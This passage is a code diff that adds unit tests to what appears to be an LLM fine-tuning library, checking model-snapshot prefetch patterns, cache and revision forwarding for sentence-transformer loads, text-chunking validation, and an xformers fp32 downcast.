+        and isinstance(n.func, ast.Name)
+        and n.func.id == "SentenceTransformer"
+    ]
+    cache_folder_kws = [kw for call in st_calls for kw in call.keywords if kw.arg == "cache_folder"]
+    assert cache_folder_kws, "expected a native SentenceTransformer call forwarding cache_folder"
+    for kw in cache_folder_kws:
+        assert "'cache_dir'" in ast.dump(
+            kw.value
+        ), "a native SentenceTransformer cache_folder must map the explicit HF cache_dir first"
+    # for_inference feeds cache_folder via st_kwargs; both native branches map cache_dir -> cache_folder.
+    normalized = "".join(src.split())
+    assert (
+        'st_kwargs["cache_folder"]=' in normalized
+    ), "for_inference must set st_kwargs cache_folder"
+    assert (
+        normalized.count('kwargs.get("cache_dir")orkwargs.get("cache_folder")') >= 2
+    ), "both native ST branches (for_inference, fast-encoder) must map cache_dir -> cache_folder"
+
+
+def test_vision_warms_vllm_tokenizer_after_remap():
+    """On the vLLM path the tokenizer warm is deferred until after the fast_inference_setup remap."""
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "vision.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    guard = "if _vllm_owns_weights and isinstance(tokenizer_name"
+    assert guard in src, "expected a vLLM-gated tokenizer warm"
+    assert src.index(guard) > src.index(
+        "fast_inference_setup("
+    ), "the vLLM tokenizer warm must run after the fast_inference_setup remap"
+
+
+def test_diffusion_forwards_variant_to_real_load():
+    """FastDiffusionModel must forward variant to the real model_cls.from_pretrained load, not just the prefetch."""
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "diffusion.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    assert (
+        'load_kwargs["variant"] = kwargs["variant"]' in src
+    ), "the diffusion load must forward variant to model_cls.from_pretrained"
+
+
+def test_vision_prefetch_runs_after_load_mode_validation():
+    """The FastBaseModel (vision) prefetch must run after the load-mode validation."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "vision.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    prefetch_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "maybe_prefetch_hf_snapshot"
+    ]
+    assert prefetch_calls, "expected a vision prefetch call"
+    first_prefetch = min(call.lineno for call in prefetch_calls)
+    val_lineno = src[: src.index("Can only load in 4bit or 8bit or 16bit")].count("\n")
+    assert val_lineno < first_prefetch, "load-mode validation must precede the vision prefetch"
+
+
+def test_llama_prefetch_skips_only_real_vllm_loads():
+    """The llama prefetch's fast_inference skip must be gated on num_labels is None (a classification load still downloads)."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "llama.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    gated = False
+    for n in ast.walk(tree):
+        if not (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "maybe_prefetch_hf_snapshot"
+        ):
+            continue
+        fi_kw = next((kw for kw in n.keywords if kw.arg == "fast_inference"), None)
+        if fi_kw is None:
+            continue
+        dumped = ast.dump(fi_kw.value)
+        if "fast_inference" in dumped and "num_labels" in dumped:
+            gated = True
+    assert gated, "llama prefetch fast_inference must be gated on num_labels is None"
+
+
+def test_st_fallback_module_loads_resolve_env_cache():
+    """Fallback module loads deriving cache_dir from cache_folder must also fall back to SENTENCE_TRANSFORMERS_HOME."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+
+    # Fallback sites (cache_dir derived from cache_folder) must resolve SENTENCE_TRANSFORMERS_HOME.
+    checked = 0
+    for node in ast.walk(tree):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_load_modules"):
+            continue
+        cache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)
+        if cache_dir_kw is None:
+            continue
+        dumped = ast.dump(cache_dir_kw.value)
+        if "cache_folder" not in dumped:
+            continue  # internal pass-through, not a resolution site
+        checked += 1
+        assert (
+            "SENTENCE_TRANSFORMERS_HOME" in dumped
+        ), f"{node.func.attr} cache_dir resolves cache_folder but not SENTENCE_TRANSFORMERS_HOME"
+    assert (
+        checked >= 2
+    ), "expected the fallback _module_path and _load_modules calls to resolve the env cache"
+
+
+def test_st_fallback_module_loads_forward_revision():
+    """The fallback module loads must forward revision so module files match the revision-pinned weights.
+    Guards: (a) helpers accept revision, (b) every download primitive forwards it, (c) _load_modules
+    threads it into internal calls, (d) the from_pretrained fallback sites forward it."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    funcs = {
+        n.name: n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.FunctionDef)
+        and n.name in ("_module_path", "_read_pooling_mode", "_load_modules")
+    }
+    assert set(funcs) == {"_module_path", "_read_pooling_mode", "_load_modules"}
+
+    # (a) each helper takes a revision parameter.
+    for name, fn in funcs.items():
+        arg_names = {a.arg for a in fn.args.args + fn.args.kwonlyargs}
+        assert "revision" in arg_names, f"{name} must accept a revision argument"
+
+    # (b) every download primitive inside the helpers forwards revision.
+    downloads = 0
+    for name, fn in funcs.items():
+        for node in ast.walk(fn):
+            if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Name)):
+                continue
+            if node.func.id not in ("hf_hub_download", "load_dir_path"):
+                continue
+            downloads += 1
+            assert any(
+                kw.arg == "revision" for kw in node.keywords
+            ), f"{node.func.id} in {name} must forward revision"
+    assert downloads >= 3, "expected the module-download primitives to be revision-guarded"
+
+    # (c) _load_modules threads revision into its internal _module_path / _read_pooling_mode calls.
+    internal = 0
+    for node in ast.walk(funcs["_load_modules"]):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_read_pooling_mode"):
+            continue
+        internal += 1
+        assert any(
+            kw.arg == "revision" for kw in node.keywords
+        ), f"_load_modules must forward revision to {node.func.attr}"
+    assert internal >= 2, "expected _load_modules to call _module_path and _read_pooling_mode"
+
+    # (d) the from_pretrained fallback _module_path / _load_modules sites forward revision.
+    checked = 0
+    for node in ast.walk(tree):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_load_modules"):
+            continue
+        cache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)
+        if cache_dir_kw is None or "cache_folder" not in ast.dump(cache_dir_kw.value):
+            continue  # internal pass-through, not a fallback site
+        checked += 1
+        rev_kw = next((kw for kw in node.keywords if kw.arg == "revision"), None)
+        assert rev_kw is not None and "revision" in ast.dump(
+            rev_kw.value
+        ), f"{node.func.attr} fallback call must forward revision"
+    assert (
+        checked >= 2
+    ), "expected the fallback _module_path and _load_modules calls to forward revision"
+
+
+def test_st_fallback_model_load_resolves_env_cache():
+    """from_pretrained must resolve the warmed ST cache into kwargs['cache_dir'] before the FastModel weight load."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    def _resolves_st_cache(value_node):
+        # Resolution may be inline or in the assignment to an intermediate variable the value references.
+        dumped = ast.dump(value_node)
+        if "cache_folder" in dumped and "SENTENCE_TRANSFORMERS_HOME" in dumped:
+            return True
+        if isinstance(value_node, ast.Name):
+            for n in ast.walk(tree):
+                if isinstance(n, ast.Assign) and any(
+                    isinstance(t, ast.Name) and t.id == value_node.id for t in n.targets
+                ):
+                    d = ast.dump(n.value)
+                    if "cache_folder" in d and "SENTENCE_TRANSFORMERS_HOME" in d:
+                        return True
+        return False
+
+    resolved_lines = []
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Assign):
+            continue
+        for tgt in node.targets:
+            if (
+                isinstance(tgt, ast.Subscript)
+                and isinstance(tgt.value, ast.Name)
+                and tgt.value.id == "kwargs"
+                and isinstance(tgt.slice, ast.Constant)
+                and tgt.slice.value == "cache_dir"
+                and _resolves_st_cache(node.value)
+            ):
+                resolved_lines.append(node.lineno)
+    assert resolved_lines, "from_pretrained must resolve the ST cache into kwargs['cache_dir']"
+
+    fastmodel_calls = [
+        n.lineno
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Attribute)
+        and n.func.attr == "from_pretrained"
+        and isinstance(n.func.value, ast.Name)
+        and n.func.value.id == "FastModel"
+    ]
+    assert fastmodel_calls, "expected a FastModel.from_pretrained call"
+    assert min(resolved_lines) < min(
+        fastmodel_calls
+    ), "kwargs['cache_dir'] must be resolved before the fallback FastModel weight load"
+
+
+def test_canonical_variant_model_weight_matches_transformers_names():
+    """The variant safetensors detector matches only canonical variant names, rejecting sidecars and wrong variants."""
+    f = U._is_canonical_variant_model_weight_safetensors
+    assert f("model.fp16.safetensors", "fp16") is True
+    assert f("model.fp16-00001-of-00002.safetensors", "fp16") is True
+    assert f("model-00001-of-00002.fp16.safetensors", "fp16") is True
+    assert f("model.safetensors.index.fp16.json", "fp16") is True
+    assert f("consolidated.fp16.safetensors", "fp16") is False
+    assert f("model.safetensors", "fp16") is False
+    assert f("model-00001-of-00002.safetensors", "fp16") is False
+    assert f("model.bf16.safetensors", "fp16") is False
+
+
+def test_variant_is_forwarded_to_downloader(capture):
+    """maybe_prefetch_hf_snapshot must forward variant to the downloader (absent a variant, nothing is forwarded)."""
+    _, st = capture(weights_at_root = True, use_safetensors = True, variant = "fp16")
+    assert st["variant"] == "fp16"
+    _, st = capture(weights_at_root = True, use_safetensors = True)
+    assert st["variant"] is None
+
+
+def test_variant_drops_bin_for_sharded_variant_safetensors(monkeypatch):
+    """A sharded variant safetensors is recognized, so its redundant variant .bin is dropped."""
+    _install_fake_model_info(
+        monkeypatch,
+        [
+            "model.fp16-00001-of-00002.safetensors",
+            "model.fp16-00002-of-00002.safetensors",
+            "pytorch_model.fp16-00001-of-00002.bin",
+        ],
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_tokenizer_only_warms_extra_vocab_files(capture):
+    """tokenizer_only must warm SentencePiece / vocab / processor files, including a named jinja template."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    for name in (
+        "spm.model",
+        "normalizer.json",
+        "video_preprocessor_config.json",
+        "tokenizer.model.v3",
+    ):
+        assert name in allow, name
+    sample = [
+        "spm.model",
+        "normalizer.json",
+        "video_preprocessor_config.json",
+        "tokenizer.model.v3",
+        "additional_chat_templates/custom.jinja",
+    ]
+    kept = _filter(sample, allow, st["ignore_patterns"])
+    assert set(kept) == set(sample)
+
+
+def test_format_probe_runs_even_when_config_cached(capture, monkeypatch):
+    """A cached config.json must not skip the weight-format probe; model_info still drops the redundant .bin."""
+    import huggingface_hub
+
+    # Pretend config.json is cached (the AutoConfig side effect); this must not gate the probe.
+    monkeypatch.setattr(
+        huggingface_hub, "try_to_load_from_cache", lambda *a, **k: "/cache/config.json"
+    )
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.bin"])
+    _, st = capture(weights_at_root = True)
+    ig = st["ignore_patterns"] or []
+    assert "*.bin" in ig
+
+
+def test_optimizer_safetensors_does_not_drop_bin(monkeypatch):
+    """An optimizer.safetensors sidecar must not count as model safetensors, so the real .bin weights are kept."""
+    _install_fake_model_info(monkeypatch, ["pytorch_model.bin", "optimizer.safetensors"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" not in ig
+
+
+def test_model_safetensors_still_drops_bin(monkeypatch):
+    """Control for the optimizer case: a real model.safetensors next to pytorch_model.bin still drops the .bin."""
+    _install_fake_model_info(
+        monkeypatch, ["model.safetensors", "pytorch_model.bin", "optimizer.safetensors"]
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_whole_multi_component_snapshot_keeps_subdir_bin(monkeypatch):
+    """A whole multi-component snapshot must not drop *.bin (it would strip a subdir module's weight); a root load still does."""
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "1_Dense/pytorch_model.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = False)
+    assert "*.bin" not in ig
+    ig_root = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig_root
+
+
+def test_is_model_weight_safetensors_classification():
+    """Real model weights count; adapter / trainer-state sidecars do not."""
+    assert U._is_model_weight_safetensors("model.safetensors") is True
+    assert U._is_model_weight_safetensors("model-00001-of-00002.safetensors") is True
+    assert U._is_model_weight_safetensors("model.safetensors.index.json") is True
+    assert U._is_model_weight_safetensors("consolidated.safetensors") is True
+    assert U._is_model_weight_safetensors("adapter_model.safetensors") is False
+    assert U._is_model_weight_safetensors("optimizer.safetensors") is False
+    assert U._is_model_weight_safetensors("scheduler.safetensors") is False
+    assert U._is_model_weight_safetensors("rng_state_0.safetensors") is False
+
+
+def test_tokenizer_only_warms_slow_sentencepiece_vocab(capture):
+    """tokenizer_only must warm the slow-tokenizer SentencePiece / BPE vocab files AutoTokenizer fetches first."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    for name in (
+        "sentencepiece.bpe.model",
+        "source.spm",
+        "target.spm",
+        "bpe.codes",
+        "vocab.bpe",
+        "sentencepiece.model",
+        "vocab-src.json",
+        "vocab-tgt.json",
+    ):
+        assert name in allow, name
+
+
+def test_adapter_safetensors_check_scoped_to_root(monkeypatch):
+    """_adapter_repo_has_safetensors must only count a root adapter_model*.safetensors, not a subdir one."""
+    import huggingface_hub
+
+    class _Sib:
+        def __init__(self, name):
+            self.rfilename = name
+
+    class _Api:
+        def __init__(self, names):
+            self._names = names
+
+        def model_info(self, *a, **k):
+            return type("MI", (), {"siblings": [_Sib(n) for n in self._names]})()
+
+    # Subdir safetensors only -> not reported present.
+    monkeypatch.setattr(
+        huggingface_hub,
+        "HfApi",
+        lambda: _Api(
+            ["adapter_config.json", "adapter_model.bin", "checkpoint-5/adapter_model.safetensors"]
+        ),
+    )
+    assert U._adapter_repo_has_safetensors("org/repo") is False
+    # Root safetensors -> reported present.
+    monkeypatch.setattr(
+        huggingface_hub,
+        "HfApi",
+        lambda: _Api(["adapter_config.json", "adapter_model.safetensors"]),
+    )
+    assert U._adapter_repo_has_safetensors("org/repo") is True
+
+
+def test_gguf_file_warm_keeps_gguf(capture):
+    """A gguf_file load allow-lists that GGUF while not pulling other quants the repo publishes."""
+    _, st = capture(weights_at_root = True, gguf_file = "model-Q4_K_M.gguf")
+    allow = st["allow_patterns"]
+    ig = st["ignore_patterns"]
+    assert allow is not None and "model-Q4_K_M.gguf" in allow
+    sample = [
+        "model-Q4_K_M.gguf",
+        "model-Q8_0.gguf",
+        "config.json",
+        "tokenizer.json",
+    ]
+    kept = _filter(sample, allow, ig)
+    assert "model-Q4_K_M.gguf" in kept
+    assert "config.json" in kept
+    assert "model-Q8_0.gguf" not in kept
+
+
+# ----- Finding Q: adapter weight-format selection -----
+
+
+def test_adapter_only_prefers_safetensors_over_bin(capture, monkeypatch):
+    """A mixed-format adapter repo warms only the safetensors PeftModel reads, not both formats."""
+    _install_fake_model_info(
+        monkeypatch, ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"]
+    )
+    _, st = capture(adapter_only = True)
+    ig = st["ignore_patterns"]
+    assert ig is not None and "adapter_model*.bin" in ig
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"],
+        st["allow_patterns"],
+        ig,
+    )
+    assert "adapter_model.safetensors" in kept
+    assert "adapter_model.bin" not in kept
+
+
+def test_adapter_only_bin_only_keeps_bin(capture, monkeypatch):
+    """A .bin-only adapter repo must keep adapter_model.bin (no safetensors found -> both formats eligible)."""
+    _install_fake_model_info(monkeypatch, ["adapter_config.json", "adapter_model.bin"])
+    _, st = capture(adapter_only = True)
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.bin"], st["allow_patterns"], st["ignore_patterns"]
+    )
+    assert "adapter_model.bin" in kept
+
+
+def test_adapter_only_explicit_use_safetensors_false_keeps_bin(capture):
+    """An explicit use_safetensors=False forces the .bin form without a model_info call."""
+    _, st = capture(adapter_only = True, use_safetensors = False)
+    ig = st["ignore_patterns"]
+    assert ig is not None and "adapter_model*.safetensors" in ig
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"],
+        st["allow_patterns"],
+        ig,
+    )
+    assert "adapter_model.bin" in kept
+    assert "adapter_model.safetensors" not in kept
+
+
+def test_gguf_file_with_subfolder_warms_subfolder_path(capture):
+    """gguf_file + subfolder: the warm allow-lists <subfolder>/<gguf_file>, not the bare root name."""
+    _, st = capture(weights_at_root = True, gguf_file = "model-Q4_K_M.gguf", subfolder = "gguf")
+    allow = st["allow_patterns"]
+    assert "gguf/model-Q4_K_M.gguf" in allow
+    kept = _filter(["gguf/model-Q4_K_M.gguf", "config.json"], allow, st["ignore_patterns"])
+    assert "gguf/model-Q4_K_M.gguf" in kept and "config.json" in kept
+
+
+def test_from_tf_root_load_ignores_nested_h5(capture):
+    """A from_tf root load keeps the root .h5 but drops nested .h5 / .msgpack checkpoints."""
+    _, st = capture(weights_at_root = True, from_tf = True)
+    ig = st["ignore_patterns"]
+    assert "*/*.h5" in ig and "*/*.msgpack" in ig
+    kept = _filter(["model.h5", "checkpoint-1/model.h5", "config.json"], st["allow_patterns"], ig)
+    assert "model.h5" in kept
+    assert "checkpoint-1/model.h5" not in kept
+
+
+def test_sentence_transformer_from_pretrained_is_prefetch_wired():
+    """from_pretrained must call maybe_prefetch_hf_snapshot as an unconditional top-level statement before any return."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    cls = next(
+        n for n in tree.body if isinstance(n, ast.ClassDef) and n.name == "FastSentenceTransformer"
+    )
+    fp = next(n for n in cls.body if isinstance(n, ast.FunctionDef) and n.name == "from_pretrained")
+
+    def _prefetch_call(node):
+        # a bare call statement, or one whose return is captured (e.g. _st_prefetched = ...)
+        value = node.value if isinstance(node, (ast.Expr, ast.Assign)) else None
+        if (
+            isinstance(value, ast.Call)
+            and isinstance(value.func, ast.Name)
+            and value.func.id == "maybe_prefetch_hf_snapshot"
+        ):
+            return value
+        return None
+
+    prefetch_pos = next((i for i, n in enumerate(fp.body) if _prefetch_call(n)), None)
+    return_pos = next((i for i, n in enumerate(fp.body) if isinstance(n, ast.Return)), len(fp.body))
+    assert (
+        prefetch_pos is not None
+    ), "from_pretrained must call maybe_prefetch_hf_snapshot at top level"
+    assert prefetch_pos < return_pos, "prefetch must run before any top-level return"
+    # local_files_only must be forwarded so an offline load does not start a Hub download.
+    prefetch_call = _prefetch_call(fp.body[prefetch_pos])
+    assert "local_files_only" in {
+        kw.arg for kw in prefetch_call.keywords
+    }, "prefetch must forward local_files_only"
+
+
+def test_st_module_download_forwards_cache_folder():
+    """_load_modules must forward the custom cache_folder into load_dir_path so per-module subdirs read the warmed cache."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call) and isinstance(n.func, ast.Name) and n.func.id == "load_dir_path"
+    ]
+    assert calls, "expected a load_dir_path call in sentence_transformer.py"
+    assert all(
+        "cache_folder" in {kw.arg for kw in c.keywords} for c in calls
+    ), "every load_dir_path call must forward cache_folder"
+
+
+def test_st_native_sentence_transformer_calls_forward_cache_folder():
+    """Every native SentenceTransformer(model_name, ...) load must forward cache_folder; a modules-based build needs none."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    weight_loading_calls = []
+    for n in ast.walk(tree):
+        if not (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "SentenceTransformer"
+        ):
+            continue
+        kw_names = {kw.arg for kw in n.keywords}
+        # A modules-based build downloads nothing; only a repo-name load reads the cache.
+        if "modules" in kw_names:
+            continue
+        weight_loading_calls.append(n)
+    assert (
+        weight_loading_calls
+    ), "expected a repo-name SentenceTransformer load in sentence_transformer.py"
+    # cache_folder is forwarded explicitly or via a **kwargs unpacking (kw.arg == None).
+    for c in weight_loading_calls:
+        kw_names = {kw.arg for kw in c.keywords}
+        forwards = "cache_folder" in kw_names or None in kw_names
+        assert forwards, (
+            "a repo-name SentenceTransformer load must forward cache_folder "
+            f"(explicitly or via **kwargs) at line {c.lineno}"
+        )
diff --git a/tests/test_raw_text.py b/tests/test_raw_text.py
index d7f6c317fe..ba16e0cfc4 100644
--- a/tests/test_raw_text.py
+++ b/tests/test_raw_text.py
@@ -141,6 +141,26 @@ def test_raw_text_loader():
         except ValueError as e:
             assert "stride" in str(e) and "chunk_size" in str(e)
 
+        # smart_chunk_text validation: called directly, chunk_size/stride are its own
+        # arguments and bypass the constructor guard, so it must guard itself or an
+        # invalid stride makes `start_idx += chunk_size - stride` non-positive and the
+        # chunking loop never terminates (hangs).
+        long_text = "This is a test file for raw text training. " * 10
+        valid_chunks = loader.smart_chunk_text(long_text, chunk_size = 5, stride = 2)
+        assert len(valid_chunks) > 0, "Valid stride should produce chunks"
+
+        try:
+            loader.smart_chunk_text(long_text, chunk_size = 5, stride = 5)
+            assert False, "Should raise ValueError for stride == chunk_size"
+        except ValueError as e:
+            assert "stride" in str(e) and "chunk_size" in str(e)
+
+        try:
+            loader.smart_chunk_text(long_text, chunk_size = 5, stride = 10)
+            assert False, "Should raise ValueError for stride > chunk_size"
+        except ValueError as e:
+            assert "stride" in str(e) and "chunk_size" in str(e)
+
         # Preprocessor.
         preprocessor = TextPreprocessor()
         clean_text = preprocessor.clean_text("  messy   text  \n\n\n  ")
@@ -221,6 +241,61 @@ def test_raw_text_loader():
         os.unlink(test_file)
 
 
+def test_smart_chunk_text_single_chunk_no_eos_returns_plain_list():
+    """smart_chunk_text's single-chunk branch must return a plain list for
+    input_ids even when the tokenizer has no eos_token_id, matching the
+    multi-chunk branch's unconditional tolist()/list() conversion."""
+
+    class MockTensor:
+        def __init__(self, data):
+            self.data = data
+
+        def __getitem__(self, idx):
+            return self.data
+
+        def __len__(self):
+            return len(self.data)
+
+        def tolist(self):
+            return self.data
+
+    class MockTokenizerNoEos:
+        def __init__(self):
+            self.eos_token = None
+            self.eos_token_id = None
+
+        def __call__(
+            self,
+            text,
+            return_tensors = None,
+            add_special_tokens = False,
+        ):
+            token_ids = list(range(len(text.split())))
+            if return_tensors == "pt":
+                return {"input_ids": [MockTensor(token_ids)]}
+            return {"input_ids": token_ids}
+
+        def decode(
+            self,
+            token_ids,
+            skip_special_tokens = False,
+        ):
+            return " ".join(f"word_{i}" for i in token_ids)
+
+    loader = RawTextDataLoader(MockTokenizerNoEos(), chunk_size = 2048, stride = 512)
+    result = loader.smart_chunk_text(
+        "hello world short text", chunk_size = 2048, stride = 512, return_tokenized = True
+    )
+    input_ids = result[0]["input_ids"]
+    assert isinstance(
+        input_ids, list
+    ), f"input_ids should be a plain list even without an eos_token_id, got {type(input_ids)}"
+    assert input_ids == [0, 1, 2, 3], f"unexpected input_ids: {input_ids}"
+    print("✅ test_smart_chunk_text_single_chunk_no_eos_returns_plain_list passed!")
+    return True
+
+
 if __name__ == "__main__":
     success = test_raw_text_loader()
+    success = test_smart_chunk_text_single_chunk_no_eos_returns_plain_list() and success
     sys.exit(0 if success else 1)
diff --git a/tests/test_synthetic_chunk_data.py b/tests/test_synthetic_chunk_data.py
index b9167d214f..17e5228e32 100644
--- a/tests/test_synthetic_chunk_data.py
+++ b/tests/test_synthetic_chunk_data.py
@@ -104,10 +104,71 @@ def test_chunk_data_rejects_overlap_not_smaller_than_chunk():
         os.unlink(path)
 
 
+def test_chunk_data_uninitialized_error_names_real_class():
+    # Without max_seq_length the guard tells the user which method to call first.
+    # The message must name the real class (SyntheticDataKit) so copying it works;
+    # a misspelling would raise NameError when the user follows it verbatim.
+    kit = SyntheticDataKit.__new__(SyntheticDataKit)
+    kit.tokenizer = _MockTokenizer()  # max_seq_length intentionally unset
+    with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+        f.write("word " * 50)
+        path = f.name
+    try:
+        try:
+            kit.chunk_data(filename = path)
+            raise AssertionError("expected RuntimeError when max_seq_length is unset")
+        except RuntimeError as e:
+            msg = str(e)
+            assert (
+                "SyntheticDataKit.from_pretrained" in msg
+            ), f"error must name SyntheticDataKit.from_pretrained, got: {msg}"
+            assert (
+                "SynthetidDataKit" not in msg
+            ), f"error must not misspell the class name, got: {msg}"
+    finally:
+        os.unlink(path)
+
+
+def test_chunk_data_chunks_do_not_exceed_max_tokens():
+    # Every chunk must fit within max_tokens. The old multi-chunk path emitted one
+    # fewer, oversized chunk, and a doc just over the threshold came back unsplit.
+    kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 760, overlap = 64)
+    max_tokens = 2048 - 760 * 2 - 128  # 400
+
+    for n_words in (500, 2000):
+        out, contents = _chunk("word " * n_words, kit = kit)
+        assert (
+            len(out) >= 2
+        ), f"a {n_words}-token doc (> max_tokens={max_tokens}) must be split, got {len(out)}"
+        for content in contents:
+            n_tokens = len(content.split())
+            assert (
+                n_tokens <= max_tokens
+            ), f"chunk has {n_tokens} tokens, exceeding max_tokens={max_tokens}"
+
+
+def test_chunk_data_does_not_over_split():
+    # n_chunks must be the minimum count: ceil((length - overlap) / stride), not
+    # ceil(length / stride) which over-splits just past a stride multiple. At 673
+    # tokens (max_tokens=400, overlap=64) the tight count gives 2 chunks (~369+368).
+    kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 760, overlap = 64)
+    max_tokens = 2048 - 760 * 2 - 128  # 400
+    out, contents = _chunk("word " * 673, kit = kit)
+    assert len(out) == 2, f"673-token doc should yield the minimal 2 chunks, got {len(out)}"
+    for content in contents:
+        n_tokens = len(content.split())
+        assert (
+            n_tokens <= max_tokens
+        ), f"chunk has {n_tokens} tokens, exceeding max_tokens={max_tokens}"
+
+
 if __name__ == "__main__":
     test_chunk_data_keeps_single_chunk_document()
     test_chunk_data_still_splits_long_document()
     test_chunk_data_empty_document_yields_no_chunks()
     test_chunk_data_short_document_is_not_split_into_fragments()
     test_chunk_data_rejects_overlap_not_smaller_than_chunk()
+    test_chunk_data_uninitialized_error_names_real_class()
+    test_chunk_data_chunks_do_not_exceed_max_tokens()
+    test_chunk_data_does_not_over_split()
     print("OK")
diff --git a/tests/utils/test_attention_dispatch_dora_dtype.py b/tests/utils/test_attention_dispatch_dora_dtype.py
index a6586dea8d..f0496ee6a8 100644
--- a/tests/utils/test_attention_dispatch_dora_dtype.py
+++ b/tests/utils/test_attention_dispatch_dora_dtype.py
@@ -71,3 +71,59 @@ def test_varlen_flash_downcasts_fp32_qkv(monkeypatch):
 def test_bf16_qkv_left_untouched(monkeypatch):
     # Standard LoRA path (already bf16) must not be altered.
     assert _run(monkeypatch, torch.bfloat16, ad.FLASH_DENSE) == torch.bfloat16
+
+
+def _run_xformers(monkeypatch, qkv_dtype, fp32_unsupported):
+    # Same #1013 fp32 downcast, but for the xformers backend. On sm_100+ (B200, sm_120)
+    # xformers' fp32-capable cutlass op is capability-rejected and only its flash-2 op
+    # runs (fp16/bf16 only), so fp32 must be downcast there too or the op raises.
+    captured = {}
+
+    def fake_xformers_attention(
+        Q,
+        K,
+        V,
+        attn_bias = None,
+        **kwargs,
+    ):
+        captured["dtype"] = Q.dtype
+        # Mirror the flash-2 op's real dtype constraint so an unfixed dispatch fails loudly.
+        if fp32_unsupported and Q.dtype not in (torch.float16, torch.bfloat16):
+            raise RuntimeError("no operator found for memory_efficient_attention with fp32")
+        return torch.zeros_like(Q)
+
+    monkeypatch.setattr(ad, "_XFORMERS_FP32_UNSUPPORTED", fp32_unsupported, raising = False)
+    monkeypatch.setattr(ad, "xformers_attention", fake_xformers_attention, raising = False)
+    monkeypatch.setattr(
+        ad, "build_xformers_block_causal_mask", lambda *a, **k: object(), raising = False
+    )
+
+    bsz, n_heads, q_len, head_dim = 1, 2, 4, 8
+    Q = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+    K = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+    V = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+
+    config = ad.AttentionConfig(backend = ad.XFORMERS, n_kv_heads = n_heads, n_groups = 1)
+    context = ad.AttentionContext(
+        bsz = bsz,
+        q_len = q_len,
+        kv_seq_len = q_len,
+        n_heads = n_heads,
+        head_dim = head_dim,
+        requires_grad = False,
+        seq_info = None,
+        attention_mask = None,
+        causal_mask = None,
+    )
+    ad.run_attention(config = config, context = context, Q = Q, K = K, V = V)
+    return captured["dtype"]
+
+
+def test_xformers_downcasts_fp32_qkv_on_sm100_plus(monkeypatch):
+    # sm_100+ (fp32 op gone): fp32 DoRA output must be downcast, else the flash-2 op raises.
+    assert _run_xformers(monkeypatch, torch.float32, True) in (torch.bfloat16, torch.float16)
+
+
